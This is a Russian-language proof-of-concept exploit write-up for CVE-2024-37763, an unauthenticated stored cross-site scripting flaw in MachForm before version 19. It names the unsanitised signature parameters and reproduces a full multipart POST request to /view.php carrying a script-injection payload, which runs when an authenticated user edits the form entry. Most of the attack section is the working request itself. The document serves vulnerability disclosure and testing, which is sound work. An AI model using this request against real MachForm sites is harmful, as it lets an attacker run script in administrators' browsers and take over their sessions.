
Эксплойт доказательства концепции для CVE-2024-37763, неаутентифицированного хранимого XSS в MachForm до v19, демонстрирующий внедрение полезной нагрузки через уязвимые параметры в view.php.
MachForm до версии 19 подвержен неаутентифицированному сохраненному межсайтовому скриптингу, который затрагивает пользователей с действительными сессиями, которые могут просматривать результаты заполненных форм.
В целевом веб-приложении при использовании формы с включенной текстовой подписью было обнаружено, что запрос к уязвимому ресурсу подвержен XSS-атаке. Параметр тела POST-запроса внутри уязвимого URL не проходит санитацию, что позволяет разместить вредоносную нагрузку и запустить JavaScript-код в браузере жертвы.
Уязвимые параметры динамичны и зависят от того, где размещен компонент текстовой подписи в форме:
element_{element_number}_text_signatureelement_{element_number}Возможно внедрить JavaScript-нагрузку в уязвимые параметры.

Запрос:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
Нагрузка срабатывает, когда аутентифицированный пользователь редактирует запись результата формы.

